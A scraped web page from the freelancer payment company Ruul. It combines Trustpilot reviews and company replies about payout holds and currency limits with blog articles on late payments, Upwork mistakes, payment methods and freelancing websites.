We’re happy to hear that you’re enjoying the fast payouts and quick support. We’re always here to help!💙 Sar Solut MU • 1 review Updated Oct 20, 2025 Ruul Space UPDATE 2 STAR: Thank you for reaching out personally via email. I will wait and will upgrade to 5 STAR after you bring the new features in the specified timeline. ________________________________ ORIGINAL REVIEW 1 STAR: It is sad to say that Ruul is not taking users feedbacks and suggestions into consideration. Additionally, their customer agent named Cansu is not very welcoming and not so helpful on the live chat: 1) It has been already 4 months since I contacted them to request the implementation of Euro and Pound Sterling to the Ruul Space as they have only USD. Then, just to give an answer, they just replied that they are already working on it but until now absolutely nothing. 2) As already mentioned, they impose only USD in the Ruul Space, but then, It is unbelievable how you can't sell a product for more than $1000. They put a crazy limit of $1000 on products price in the Ruul Space. 3) You can't withdraw from the Ruul Space to Binance, and once again absolutely nothing is changing since the beginning. ~ All these important things are not improving even though they change the Ruul Space design and layout etc every week. This means that they are just focusing on improving the interface appearance, but not actually on improving the important features related to the products creation process which is the most essential. I will continue to wait for a little bit more before shifting to another payment service provider if nothing more happens. July 1, 2025 Unprompted review Reply from Ruul Oct 20, 2025 Dear Jean Stephane, Thank you for sharing your feedback with us. We’ve contacted you directly to provide updates on your product-related suggestions. Since your last interaction with us about two months ago, several of the improvements you mentioned have already been implemented or are now in the final stages of development. Our team has shared the latest status with you by email. Please note that certain product removals or verification cases are managed strictly by our compliance department, which may occasionally limit the level of detail our support team can provide in real-time. We appreciate your understanding in this regard. We truly value your experience and appreciate your input. It helps us make Ruul better for everyone. İdil Turan GB • 2 reviews Oct 17, 2025 Their quick response and… Their quick response and solution-oriented approach helped me resolve my issue in a short time.

Thank you for your cooperation and your support. Keep Ruuling 💙 Ilyas Kerbal MA • 5 reviews Oct 17, 2025 Verification process will ruin your business I’ve used this platform multiple times to receive payments from companies, but I will no longer be using it. Their compliance process is poorly managed and can seriously disrupt your income. The team takes several hours ; sometimes even entire weekends ; to verify whether a payment is eligible, and in the meantime, funds are refunded to clients almost instantly without proper verification. Because of this, I lost a small contract with an Indian company that received my completed work and got their payment refunded within 24 hours ; leaving me unpaid. I strongly advise others to consider alternative platforms that verify transactions before releasing or refunding funds. October 9, 2025 Unprompted review Reply from Ruul Oct 17, 2025 Dear Elyas, We’re sorry to hear about your frustration regarding this case. To provide clarity, the transaction was paused due to the absence of crucial documentation required under our compliance and verification framework. The documents submitted for KYB verification could not be validated, as they were not obtained from official authorities. As a result, the payment could not be processed. In line with our policies, the client’s funds were immediately refunded to their original payment method, ensuring full transparency and security for both parties. Ruul operates under strict financial and regulatory standards. While these procedures may sometimes cause delays, they are essential to protecting our users, preventing misuse, and maintaining the integrity of our platform.

We’re glad our team’s quick solutions have made a difference for you. We truly appreciate your trust and support. 💙 MA Mark EE • 1 review Sep 25, 2025 Terrible Terrible. They block client payments without any explanation or apology. After working with them over a year, they out of nowhere told me that they no longer accept payments from a client, AFTER THE CLIENT HAD ALREADY PAID. Client was a big company in Europe, not some random shady company. I sent the invoice 3 weeks before the payment and they could have told me the info then, but nope. They said after the payment that we dont accept it and we have to send it back. This caused a huge problem which took nearly a month to solve. Do not trust this company, they dont care about you and I never intend to work with them again. No apology, no explanation, no nothing from their side. September 3, 2025 Unprompted review Reply from Ruul Sep 26, 2025 Dear Mark, Thank you for sharing your feedback. We sincerely apologize for the frustration this situation has caused you. We recently implemented stricter controls as part of our compliance framework to ensure all transactions remain compliant with regulatory standards. Unfortunately, during this transition, your case was affected. While your payments were refunded, we acknowledge the disappointment caused by the delay and apologize once again for the inconvenience. At Ruul, maintaining compliance and secure operations is crucial to protecting both our users and their clients. Although such changes may cause temporary frustration, they are ultimately in place to safeguard the integrity of our entire platform. Thank you for your understanding.

We want to clarify the status for you and for others reading: - The service you purchased was canceled because it did not comply with our Acceptable Use Policy, and your seller was informed accordingly. - The refund was initially unsuccessful due to a technical issue, but it was re-initiated and confirmed by our finance team. Proof of refund has been shared directly with you. Since 2017, Ruul has been supporting users worldwide with secure, compliant, and transparent operations. We remain committed to assisting our users fairly in all cases. For any further assistance, our support team is available Monday–Friday, CET 08:00–17:00. Eren T. TR • 2 reviews Sep 15, 2025 Stress-free, smooth. Ruul.io made my entire process smooth and stress-free. Their platform is super easy to use and very reliable — exactly what I needed. Special thanks to Onur for the amazing support, he went above and beyond to help me out. Highly recommended! September 15, 2025 Unprompted review Reply from Ruul Sep 16, 2025 Thank you for the fantastic feedback! We’re delighted to hear the platform has been easy and reliable for you, and that our team could provide the support you needed. Your recommendation means a lot. 💙 Emad Mayati TR • 2 reviews Sep 13, 2025 Payment Stuck, Transaction Marked as Canceled, No Support Response one of the transactions was initiated, but its status later changed to Canceled. The amount is still pending in my account, and there are no available options in the dashboard to manage or resolve this issue. I had requested a payout to my bank account, but instead of being processed, the transaction now shows as Canceled. It is unclear whether the funds will be refunded to the client or eventually transferred to me. I have already contacted customer support about this matter, but unfortunately, I received no response. The funds remain stuck, and I cannot take any action from my side. This situation is very frustrating and creates a lot of uncertainty. September 13, 2025 Unprompted review Reply from Ruul Sep 15, 2025 Dear Emad, We are glad that we resolved this matter together after our direct communication. We’d also like to clarify here for others reading: - Our team does not operate on weekends, so the case was addressed first thing Monday morning. - The payout was cancelled because the product listed did not comply with our Terms of Use. - Refunds were processed back to the buyers’ cards, and we shared the proof of refunds in full. This case has now been closed directly with the user. At Ruul, we are committed to secure, compliant, and transparent operations, and we will always take the time to resolve issues fairly with our users. Laswann Brownfield GB • 2 reviews Updated Sep 12, 2025 Verified ONLY 1 STAR FOR NOW! ONLY 1 STAR FOR NOW! I will never understand why the platform claims that they work with 140 Different Currencies but by the end Ruul Space supports only USD. All my clients and I, we are all based in the UK and need to process all payments in £ - GBP 1 STAR for now but I WILL UPGRADE TO 5 STARS ONLY IF YOU ADD (GBP) TO THE RUUL SPACE AS SOON AS POSSIBLE! ●● UPDATE: Dear Ruul Ruul Rude! Your reply is not really sincere! Everybody should know that you flagged my initial review on the same day for containing harmful or illegal content! So, can you just tell me: Which part of my review is harmful or illegal? It is just that you don't like when your users express their thoughts and send you some suggestions to improve your service! You just want to be always in control without listening to the need of your users! Luckily, the Trustpilot Integrity Team didn't fall into your false claims and below is their reply: ((((( Hi again, We’re following up about your review of ruul.io, which was flagged for containing harmful or illegal content. Our decision We’ve assessed your review and concluded that it follows our guidelines. That's why we’ve now put your review back online.))))) BEWARE PEOPLE! IF YOU GET SOME ISSUES WITH RUUL, THEY WILL JUST FLAG YOUR BAD REVIEWS IN ORDER TO KEEP THEIR PROFILE CLEAN! BUT ANYWAY, I WILL UPGRADE THIS REVIEW TO 5 STARS AFTER YOU CHANGE YOUR BAD ATTITUDE AND IF YOU ADD £-GBP AS CURRENCY ON RUUL SPACE. BYE! September 1, 2025 Reply from Ruul Sep 5, 2025 Hi Laswann, Thank you for sharing your thoughts. Ruul offers different services, and while Payment Request supports multiple currencies, Ruul Space is a new product that currently operates in USD only. We understand this may have caused some confusion. The good news is that our team is already working on adaptive pricing for Ruul Space, which will soon make it possible to accept payments in GBP as well. We’re excited to bring this feature to our users. We truly appreciate your feedback and your interest in Ruul Space. It helps us keep improving. If you ever have any concerns, please don’t hesitate to reach out via the support box on our website.

Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points We all know very well the benefits of working on your own terms, the freedom to travel to any part of the world, the comfort that comes from determining the working conditions yourself… Just as we see the good sides, we also see the difficulties of being a freelancer, and we want to discuss the problems of freelancers as we empower them. Today freelancer community is massive. There are more than 20 million freelancers in the EU, making up 8% of the workforce in the region, and in the US, there are nearly 60 million freelancers, which make up about 35% of the workforce.* Today freelancers are driving the economy. These numbers are rapidly increasing, especially after the COVID-19 pandemic, and many businesses more readily accept that remote work. Maybe you'd think it is too early to say 'Freelancing is the future of work.' However, we see that flexible working models and freelancers are rapidly being in demand internationally.Unfortunately, we also see that the problems of this significant workforce are not yet widely discussed, and solutions are not developed yet. With remote work being widespread, the inequality between freelancers and employees on payroll is becoming significant. While unions and laws defend the rights of employees, unfortunately, freelancers' rights are not protected at this level yet. So what is the most significant pain point of freelancers? Freelancers deal with late payments all the time, but it rarely gets talked about We realized that the most significant pain point of freelancers is receiving their payments late. Therefore, we decided to profoundly research and understand this problem and create discussions and informative content for our audience.Here are the striking results of our survey of more than 30,000 freelancers about the late payment issues. The results of our research The biggest problem of our freelance community is not getting their payments on time. It isn’t very encouraging for a freelancer to put in x hours for a project and not get his/her payment on time. But the real question to ask is: what do we do about it? To answer this question, first, we must understand the problem.Here are some findings from the research we conducted with our freelancers about the late payment issue. Freelancing is the only paying job for the majority of independent professionals %63 of respondents said freelancing is their primary income, while 37 say they do freelancing as s side-gig. %53 of the freelancers received their payments late 4 or more than 4 times in the last year Freelancers do not have enough information about the legal regulations that empower them to receive their payments on time Half of the independent professionals surveyed said they did not know the contract terms to guarantee paydays. Freelancers do not seek their rights through legal means because they don’t want to damage their relations with their clients The rate of those who think they can lose their freelance jobs, especially if they demand their delayed payments, is quite thought-provoking. What is more striking is that the rate of freelancers seeking their rights in court due to their late payment is only 3%.Likewise, freelancers do not demand late payment fees not to damage their relations with their clients and not lose their jobs. While 40% say they do not request a late payment fee to protect their relationship with the clients, 25% say they do not know how to charge a late payment fee. 58% of the respondents stated that they had difficulty paying their monthly living expenses due to late payments The rate of independent professionals who stated that they had difficulty paying their regular living expenses due to late payments was 58%. In conclusion, we can say that the systems protecting freelancers have not been built yet and independent professionals trying to survive as individuals in a large economy see themselves as powerless and alone most of the time.As one of the most ambitious players in this ecosystem, "how can we fix late payment issues for our users and other freelancers globally" is an important question that we are asking ourselves to take action in the future. What do freelancers say on the late payment issue? We have compiled some of the comments that you may find meaningful from our surveys. Let's see if the stories they tell sound familiar to you. -”A client accepted a big fee raise after I filed for legal action. I withdrew once they paid.”-“I am waiting for late payment for more than 3 months now, my client contacted me for more freelance work and I will charge him extra for this new job =)”-“This is when I had not been paid for the last 3 months (I do about 12 hrs a month for them, so its a regular gig, I'd been sending reminders and not had any answers so I went there in person and the boss basically turned around and shamed me for bringing it up to him. He actually shouted in my face.”-“When I reminded my payment, the client told me "You're the only one we work with that we have these issues with" (Not true, everyone who has worked with them has a least one, if not regular stories of late payments).”-“Yeah, my current client always pays late every 1st week of the month. Sometimes 1st-week beginning or end. But I always chase my client to get the payment if it’s late. It is a game for us now.”-“The majority of entities from Turkey never pay on time, I believe it's a culture code they ought to follow. A few entities from the US paid late a couple of times, and they've always expressed their excuses and offered to pay either interest or do anything reasonable as a favor in return.” ABOUT THE AUTHOR Esen Bulut Esen Bulut is the co-founder of Ruul.

Find out the key mistakes that are holding you back. Click to learn more! Mert Bulut 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Upwork is one of the most popular platforms for freelancers to find new clients and grow their business. Using Upwork without enough knowledge can be challenging especially for new freelancers who are still learning how to use their skills in the most effective way. We will review in this blog post how to use Upwork and avoid common mistakes that other freelancers make. 1. Incomplete Profile A complete profile says a lot. It is the first impression between freelancer and the client so it must be completed, professional and convincing. Freelancers generally make the mistake of leaving their profiles incomplete or lack of information. That can cause missing the opportunity to attract clients. Freelancers should complete all the important information such as title, overview, skills, history, experience, education, profile image and what makes them unique. 2. Standard Proposals Sending standard offers or proposals are also common mistakes. Clients mostly want to see unique, tailor based offers with specific information about what they need and what freelancers can offer. Freelancers should customize their proposals with specific experience and skills, solutions and advice to attract the client. 3. Lack Of Quality The quality of the proposal is also extremely important. From title to description it should look professional, clear, to do point and well prepared. Freelancers often underestimate the importance of crafting high-quality proposals and this leads them to lose the client. To avoid such an issue, freelancers should write and double check their proposals before submitting. 4. Unrealistic Rates Setting rates that are either too high or too low can be detrimental. Overpricing can drive potential clients away, while underpricing can undervalue your work and lead to unsustainable projects. Ruul helps in this case. Ruul provides freelancer hourly rate calculator to set the most accurate price based on freelancers skills, experience and cost of the project. With this way freelancers can set the most effective price and avoid overpricing or underbidding which can lead them to lose the client. 5. Failing to Communicate Fast & Effectively Fast and effective communication is the key to building trust with the client. Freelancers sometimes make the mistake of ignoring the importance of fast communication, however it is important from the client's side to have control over their projects. 6. Ignoring Feedback Feedbacks are very important to build reputation and to have a credible profile. So freelancers should never ignore the power of feedback from the client. Ignoring or dismissing client feedback can negatively impact their reputation. They should request feedback from their clients to have continuous improvement. 8. Overpromising or Underestimating Deadlines It is important to set realistic deadlines, clear timelines and organized work. For that freelancer should plan the whole process at the beginning and avoid overpromising. Overpromising or underestimating deadlines can lead to unrealistic expectations and potential project delays. It’s important to be honest about your capabilities and timeframes. 9. Neglecting to Use Upwork’s Tools and Features Upwork offers various tools and features designed to enhance the freelancing experience. Freelancers often make the mistake of not utilizing these resources to their full potential. For example, Upwork provides time tracker tools for freelancers, community forums and educational sources. 10. Failing to Build Long-Term Relationships Providing exceptional service with high quality work, fast communication and full care to the project can build long term relationships with clients. Freelancers should never ignore the power of referrals, long term relationships can bring them more and more clients and grow their reputation. . There are other platforms to be Upwork alternatives . We can list them as freelancer.com, Fiverr, Toptalent and many more. Ruul: Your Freelancing Solutions Ruul is offering multiple freelancing solutions to make the whole process easier for freelancers.

This article will assist freelancers negotiate the best payment methods and gateways so they may get paid on time and with least effort. Here, we will look at the best payment method for freelancers as well as the easiest freelance payment methods . Direct Bank Transfers One of the first payment methods for freelancers is a classic one. It might be the best payment gateway for freelancers , but there are drawbacks for sure. One dependable and extensively utilized way to be paid is direct bank transfers. Their security and simplicity make them especially preferred. By use of a bank transfer, a customer pays you straight from their bank account to yours, therefore removing the middlemen. Although this is an easy approach, international transfers may take several days to handle. Since their usually minimal costs make bank transfers ideal for bigger payments. Arranging a bank transfer means you must provide your customer your account number and routing number, among other bank information. Verifying these facts allows you to avoid any errors that can create delays in your pay-back. For overseas clients, you might have to submit additional information such as IBAN or your SWIFT/BIC code. Direct bank transfers remain a good choice even with processing time for independent contractors who appreciate reliability and security. PayPal If you ask how do I invoice as a freelancer , PayPal is one option. PayPal is among the most widely used payment channels among freelancers as it is worldwide accessible and user-friendly. It enables international freelancers to send and receive money from anywhere in the world. Starting a PayPal account is quick; once it's set up, you might start being paid almost immediately. Offering customers choices, they could pay you using credit card, bank account, PayPal balance. PayPal offers buyer and seller protection, therefore offering yet more security. One disadvantage of the expenditures related to payment is Over time, PayPal charges a predetermined fee plus a percentage of the transaction amount, which may mount up. Still, many freelancers go with it because of its simplicity and global appeal. Payoneer So what payment system do freelancers use? Here’s another option. Another great payment option accessible to freelancers—especially those who deal with customers abroad—is payoneer. It pays in many currencies and enables you to withdraw money to your local bank account. Payoneer is well-known for its less costs than conventional bank transfers and fair rates of currency. Payoneer distinguishes itself mainly with their prepaid Mastercard. This card allows you access to your money straight immediately, make purchases online and in-store, and withdraw cash from ATMs all around. If you need your money right now, this might be rather handy. Payoneer also interacts with multiple freelancing markets, allowing one to easily handle payments from several sites all in one location. Stripe Popular payment portal Stripe provides freelancers with a lot of tools. Those that have to make payments online and have their own websites especially find it appealing. Stripe allows you to handle credit card payments straight on your website, therefore providing your customers with the ideal experience. For overseas freelancers, Stripe offers several currencies and is really easy to start up. Stripe's open pricing strategy is one of their strongest points. Every transaction you pay a certain percentage; there are no hidden costs. Stripe also provides sophisticated tools such as regular invoicing should you have customers using retainer or subscription services. Its strong security systems guarantee proper and secure interactions. Wise (formerly TransferWise) Frequented among freelancers with worldwide clientele, Wise is a payment system designed for transnational transactions. Usually much superior than those given by banks, it offers some of the greatest exchange rates in the business. For freelancers trying to optimize their income, Wise's cheap costs and clear pricing appeal. But firstly you have to check if Wise is legal in your country or not. Payment with Crypto What payment method do freelancers use ? Well, some use cryptocurrencies. As digital currencies become increasingly popular, more independent contractors are investigating crypto payout . Bitcoin, Ethereum, and other cryptocurrencies provide a distributed approach to pay for which more control over your money. Usually quick, transactions provide for cheaper rates than more conventional payment methods—especially for foreign payments. One does have some difficulties using cryptocurrency. Digital currencies have somewhat erratic value, which might influence the worth of your income. Moreover, knowing how to safely keep and handle your bitcoin helps you to prevent hazards such as hacking. Still, this payment option might have special benefits for tech-savvy freelancers and those dealing with customers in the bitcoin field. Ruul: Complete Solution Ruul is a great choice for freelancers seeking a complete solution to handle their money. It is perhaps the best payment processor for freelancers .

Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points How do you want your freelancing website to look, exactly? Are you looking at: Being able to find clients, Building your portfolio, Building your network, or Getting inspiration? I've put together a list of 16 best freelancing websites for everyone, for designers, for writers, and for developers, each useful for something else. Best freelancing websites for everyone 1. Ruul Space Ruul is the portfolio + sales + payment button for all independent professionals who want to work globally. Check it out. Who it’s best for | How it works Ruul is ideal for all independents who want to bill without a business, operate globally, and get paid quickly in one day, not weeks! With Ruul, you can: Package your services, Bring your own clients, Offer subscription models, and Invoice all of them easily. 🔑 The best way to make the most of Ruul is to use all its features together. That way, you rely less on separate tools. Everything (portfolio, services, invoicing, VAT calculator, payments) comes together, lightening your financial load. Key features Product & service & subscriptions : Offer all via one profile. Link-in-bio store: Sell via Ruul Space storefront. Merchant-of-record: Ruul handles tax compliance. Global invoicing: Send bills in 140+ currencies. Global payouts: choose bank, crypto support (Binance). Fast payouts: Receive funds within 24 hours. No monthly fee: Pay only per transaction. What freelancers think Ruul Trustpilot Score – 4.6 Users appreciate Ruul's quick payout system (which includes crypto!), the sales approach (product, service, and subscription), and the combination of portfolio and selling. Customers also give a thumbs up to Ruul for providing real human support, not bots. Platform costs At Ruul, we’ve been charging only a 5% service fee for a while, never more! And you or your client can choose who pays it. 2. Upwork Upwork is one of the leading freelance job boards in terms of total revenue. Who it’s best for | How it works Upwork is tailored to freelancers who wish to use proposals to work directly with global companies. To get jobs on Upwork , you send proposals. Besides jobs, you can sell services via the Project Catalog (like Fiverr Gigs if you know what they are), but from what I read in many comments, that doesn't sell well. 🔑 The key to standing out here is to show your work on your profile and write original proposal strategies. Key features Mindful AI support: AI helps write proposals. Instant interviews: Record video instead of text. Direct contract 0% fee : No charge for own clients. Proposal insights: See competitor and bid data. Connects rollover: Unused credits move next month. AI meeting summaries: Auto notes and action items. Custom profile URL: Personalize link and privacy. Payment protection: Ensures freelancers get paid. What freelancers think Upwork Trustpilot Score – 2.2 What freelancers enjoy about Upwork: Corporate and high-budget clients Multiple expert profiles through "Specialized Profiles" 0% fee for bringing your own clients What do freelancers dislike about Upwork: Spending Connects/boosts, but still getting "0 views" Account suspensions during KYC Schedule of escrow payments that delay payouts Platform costs Upwork's new commission model charges freelancers between 0% and 15% of their income. So I cannot say anything exact, but rest assured, the price will be about that much no matter what. The cost of sending proposals on Upwork? You will send proposals using Connects (10 free credits per month; more credits will cost $0.15 per Connect). 👉🏻 Is Upwork Legit? 3. Fiverr Fiverr is the largest marketplace where freelance services are sold as packages. Who it’s best for | How it works Fiverr is perfect for people who want to sell their services as packages, almost like they are an online store. You create a packaging listing, like: “Brand Design – includes logo, color palette, and brand guidelines — $800.” Customers will find and buy from you on the feed or Fiverr's search engine. 🔑 The best way to be a top seller on Fiver r is to optimize your title and listing description with some keywords. Therefore, your listing shows up higher in searches, and it is basically SEO. Key features AI personal assistant: Automates client chat replies. Cash advance: Get paid early, no interest. Equity program: Earn Fiverr stock shares. Professions catalog: Clients request flexible quotes. Software sales: Sell IT tools and earn commission. Team account: Manage multi-user freelancer teams. Seller referrals: Earn 2.5% Fiverr credits. Fiverr Workspace: Handle invoices and proposals easily. What freelancers think Fiverr Trustpilot Score – 2.6 Users like Fiverr for: Clients come to the freelancer, so there’s less marketing work. Easy to start thanks to quick signup and free listings. Users dislike Fiverr for: The 20% fee cuts deep into earnings. Rankings are unpredictable, and sudden drops are common. Clients usually have more power in disputes. Platform costs Fiverr takes a straight 20% from the sales of its freelance workers, which many freelancers find off-putting. I’ve read various user comments in which people said they got tired of the fee and switched to the best Fiverr alternatives . 👉🏻 Full Fiverr Guide 4. Freelancer.com Freelancer.com is huge, its main competitor is Upwork, and it is one of the oldest freelance job boards (2009). Who it’s best for | How it works Freelancer.com caters well to freelancers who thrive on the thrill of competing in a bustling, fast-paced environment. Freelancer.com, like Upwork (its largest competitor) , operates on a bidding format. Jobs pop up in your feed, or you get an alert for opportunities that suit you. Then, all freelancers make their bid at the same time, and the client picks one. Based on the proposal competition, this is by far the most competitive site on this list. 🔑 To stay competitive on Freelancer.com, it is important to enhance your account profile (with reviews and ratings) to demonstrate credibility (with verified status) and write persuasive proposals. You must have a Plus, Pro, or Premier plan for paid visibility. Key features Verified badge & video bids: Boost visibility via KYC. Preferred freelancer: Invite-only premium tier. Contest entry: Compete to win client prizes. Milestone payments: Pay is released by progress. 2,700+ category: Target specific niche jobs. Hire Me waiver: 0% fee for referred clients. Local jobs & currencies: Global work and pay. What freelancers think Freelancers like: Access to markets in 247 countries. The largest user base among freelancing sites. Freelancers don't like: Competition often turns into a “lowest price wins” race with hundreds of bids. Stories like “I finished the job, then the client disappeared” are common. The site’s interface and design feel a bit outdated. Spam messages flood the inbox. Platform costs Freelancer.com takes a 10% commission from each project or hourly job (or a minimum of $5, whichever is higher). So if you earn $30, 10% is $3, but the $5 minimum applies, so $5 is deducted. 5. Toptal Toptal is a lesser-known but prestigious freelance platform. Who it’s best for | How it works Toptal is perfect for elite freelancers who want to break free of Upwork or Fiverr to be in the top 3%. Toptal places you in its talent pool after a 3-8 week interview (which includes language and skill tests). After that, Toptal accepts clients, matches them with your stated skills, and connects you to the client. 🔑 Toptal’s community consists of elite, niche professionals and clients. Don’t sound uncertain, inexperienced, or too generic (that makes matching harder). Key features Elite vetting: Only top 3% accepted. Matcher-delivered jobs: Get curated offers. Weekly pricing: Option for fixed weekly billing. Full admin handling: Toptal manages contracts. Availability control: Set your working hours. Elite community: Access events and peer network. What freelancers think Toptal Trustpilot Score – 4.7 Users appreciate: Being part of an elite community and working on premium projects. Strong professional support, even though the interview process is tough. The fact that a platform like this exists apart from the overcrowded ones. Users dislike: The very strict selection process, and there’s a trial period after acceptance. It can take a long time to get matched with projects, even after getting accepted. Client and platform expectations from freelancers are extremely high. Platform costs Toptal doesn’t charge freelancers any membership or application fees, nor does it take a cut from their earnings. Fees apply only to clients. Some sources claim that “Toptal charges freelancers,” but I haven’t found any proof to confirm that. Best freelancing websites for writers 1. Skyword Skyword is the largest freelance platform for writers. Who it’s best for | How it works Skyword is ideal for writers who prefer being matched with projects instead of searching for jobs. Skyword accepts writers through an application process. Once you’re in, it matches you with client projects (for example, tech articles for tech experts). The entire workflow (writing, submitting for review, and so on) is managed through the platform’s software. 🔑 Apply to Skyword with a strong writing portfolio and a clear niche. To get more and better-paid projects, choose a niche that’s not too narrow or too broad, since both extremes can lower your chances of being matched. Key features PayPal-only payments: all work is paid via PayPal. Portfolio upload flexibility: add PDFs or URLs easily. Multi-currency support: payments in 23 currencies. Full remote workflow: assignments handled entirely online. Streamlined talent matching: profiles matched to client needs. Managed payments & support: the company handles all admin tasks. Multi-channel publishing: includes SEO and plagiarism checks. What freelancers think Skyword Capterra Score – 4.4 Freelancer positives: Higher rates than other writing sites. Curious about average freelance writer pay? 👉🏻 Here’s a guide on freelance writer rates . Freelancer negatives: Long gap between submission and payment. Uncertainty about getting assignments. Overall low workload. Platform costs The Skyword team announced that they’ll now apply a 10% fee policy, effective from October 16, 2025 . 2. Contently Contently is a freelancing platform that connects brands with writers. Who it’s best for | How it works Contently is ideal for skilled writers who want to work with well-known, reputable clients. Contently asks you to create an account and build a portfolio for review. They require at least 10 projects from 3 different clients to make sure they find real, experienced writers, not temporary hobbyists. Your portfolio is reviewed within a few weeks, sometimes up to a month. After that, when a client selects you from the pool, you get a notification with details. If you like the project, you can click “start” to join the client’s team. 🔑 To get accepted by Contently, show one strong main niche and two side niches (for example, main niche: fintech; side niches: career and investing). This helps you stand out in your primary field while still having chances in the other two categories. Key features Star-rating system: Writers rated 2–6 stars. Casting call workflow: Reply to niche project briefs. Idea orders: Pitch ideas, earn per approval. Love list: Clients save favorite writers. Queue control: Unlock more slots after milestones. Payment schedule: PayPal payouts on fixed dates. Industry elite badge: Access premium sector briefs. What freelancers think Contently Truspilot Score – 3.4 Freelancers like: The chance to work with high-profile clients On-time payments with minimal hassle Freelancers complain about: Lack of clear feedback or direction from editors and unclear processes Long gaps between projects and no sense of a steady workflow Platform costs Contently takes a firm stance on not charging freelancers any mandatory fees. I’ve heard they once planned to introduce a 4.75% fee. But after the backlash, they canceled the idea, and freelancers have been receiving their full payments ever since. 3. WriterAccess WriterAccess is a freelance platform created for writers and content creators. Who it’s best for | How it works WriterAccess is ideal if you want to apply for projects or pick jobs directly from the pool. WriterAccess is a great option if you prefer to work on projects or choose assignments from a freelancing pool. It's also a particularly good option for you if you are a native English speaker, since they allow writers from English-speaking countries like America, Canada, and the UK. WriterAccess then assesses your application, and if you meet the requirements, you gain access to the platform. After that, you are able to take “Crowd Orders,” which freelancers can select from a pool of assignments. On top of that, freelancers may also apply for limited requests from the clients. If a client appreciates your work, they can delegate you jobs directly, which is the best way to earn a sustainable income on WriterAccess. 🔑 WriterAccess describes a copywriter's work in terms of “niche focus, voice consistency, and SEO readable awareness." For instance, a writer may focus on “B2B SaaS product copy” and achieve a readability score of 90 or above by Grammarly. Key features Support: 250M stock images, tools, and conferences Star-rating system: Writers rated 2–6 stars. Casting calls: Apply to client briefings. Idea orders: Pitch ideas for small pay. Industry elite badge: Access premium projects. PayPal monthly payouts: Paid monthly via PayPal. Expert-profile filters: clients find niche writers. Star-level preselection: higher stars get first picks. What freelancers think WriterAccess G2 Score: 4.0 What freelancers like: Relatively better earning potential Projects that can serve as good references for a writing career What freelancers don’t like: Very high 30% commission rate Level system is unclear and doesn’t work well No steady flow of work Platform costs I didn't see any information on WriterAccess's website regarding commissions for freelancers. However, some users on Reddit mentioned that if you earn $10, you only receive $7. This suggests that WriterAccess takes a fee of about 30% . 4. Contena Contena is a platform focused on helping freelance writers find jobs. Who it’s best for | How it works Contena is suitable for freelancers who want to apply for remote writing jobs. Contena is a paid membership platform designed to “connect quality writers with quality clients.” In fact, the fee works as a way to filter out only serious professionals. That’s why the platform charges both clients and freelancers. When you sign up, you’re first placed on a waiting list. Once new members are accepted, you’ll get an email confirming your approval. After that, you’ll gain access to a large pool of remote and freelance job listings where you can start submitting proposals. Once you find enough clients to keep you busy, you can keep working with them outside the platform and cancel your membership if you want. That’s perfectly fine, since Contena isn’t a marketplace and doesn’t have a “you can’t take clients elsewhere” rule. 🔑 Contena also offers courses and coaching to help writers improve their skills. This can be especially useful for newcomers to strengthen their work and impress clients more. Key features Curated job board: hand-picked remote writing gigs. Job filters: sort by category and pay. New match alerts: email updates for fits. Training + coaching: access to Writer Academy. Integrated dashboard: track pitches and tools. What freelancers think Not enough user reviews for a rating. Writers like: The carefully selected jobs feel trustworthy Training and support materials help with skill growth Working with good brands is motivating Writers don’t like: There’s a membership fee ($997/year), but no job guarantee It’s not a marketplace, so no payment protection or invoicing Platform costs Contena memberships start at $997 per year or $83 per month. The platform doesn’t take any commission from what you earn from your clients. Best freelancing websites for designers 1. Behance Behance is the largest portfolio, job-finding, and social networking platform for designers. Who it’s best for | How it works Behance is ideal for designers who want to build an online presence and impress clients. Behance offers you a landing page that allows you to advertise your services (i.e., "Logo design: $500") and to show your best work. The goal is to attract potential clients to reach out directly to you and offer you work through your page. Client offers typically include a budget, timeline, and a brief note. If the terms are acceptable, simply accept and set up your own payment terms. Communications occur through the platform, and we process payments via Stripe. Additionally, you can submit applications for job postings via Behance, so your portfolio serves essentially as a fast digital resume. You can also sell digital goods. The platform supports 25+ file types (like JPG, PNG, PDF) and files up to 500 MB. 🔑 Design is storytelling on Behance. For every project card, share the trail of the moodboard → design process → final result . The more stories you tell, the more chances to WOW clients and get that “Hire Me” button clicked. Key features Freelance inbox: send and receive project requests. Stripe payments: request and manage payments easily. "Hire Me" toggle: set profile to work-ready. 0% fees (Pro plan): no commission cut. Advanced analytics: see traffic and keywords data. Custom portfolio: create sites through portfolio via Adobe. Featured freelancer: badge and a boost on your Hire-page. What freelancers think Behance G2 Score – 4.5 Designers said they like: The biggest community hub for designers Free to sign up and upload work Integration with the Adobe ecosystem Designers said they don’t like: It’s easy to get lost, even if your work is great The “Discover, search, recommended” algorithm works poorly It’s portfolio-focused, so it doesn’t always meet job expectations Platform costs Behance charges freelancers the following fees: 5% for projects between $1–$500 2% for projects between $501–$2,500 0% for projects over $2,501 (surprising but true 😳) If the freelancer is a Behance Pro member, neither the freelancer nor the client is subject to a platform fee. Behance Pro subscriptions start from $9.99. 2. Dribbble Dribbble is a portfolio, job-finding, and community platform for designers. Who it’s best for | How it works Dribbble is a great option for anyone who is looking to turn their portfolio into a client-finding tool. Dribbble allows you to sign up for free and create a customizable portfolio page. You can upload your work, utilize the new “services” feature , and include a description about yourself in the “about” section. For designers, Dribbble gives off a total Instagram vibe. When you post “Shots,” it has all the same energy, plus the likes and comments, and follow buttons. Basically, you’re finding work and building a network through your portfolio. If clients discover you through your Shots on Explore or via search, they can hire you using the “Get in Touch” button. In that case, you’ll receive a proposal from the employer that includes the project details, target date, and project budget. There is also a job listings section for people who just want to apply for jobs. And you can sell digital products too. But to do that, you need to open a Dribbble shop, which is available only with the Pro plan. 🔑 Dribbble is big on activity and keywords. Posting a series of shots every day or week can help you be discovered more easily. Additionally, populating your profile and titles with keywords will help raise your profile in organics. Key features InstantMatch: appears in the live client queue. Escrow payments: funds held until approval. Service listings: sell scoped offers on profile. Search boost: Pro users rank higher. Portfolio funnel: shots link to client leads. Global discovery: clients find talent by niche. What freelancers think Dribbble G2 Score – 4.2 Designers like: “Shots” posts can attract engagement and new clients Different ways to find clients: direct contact, InstantMatch, and job posts Designers complain about: Hard to get organic visibility, with strong pressure to pay for ads Risk of scams 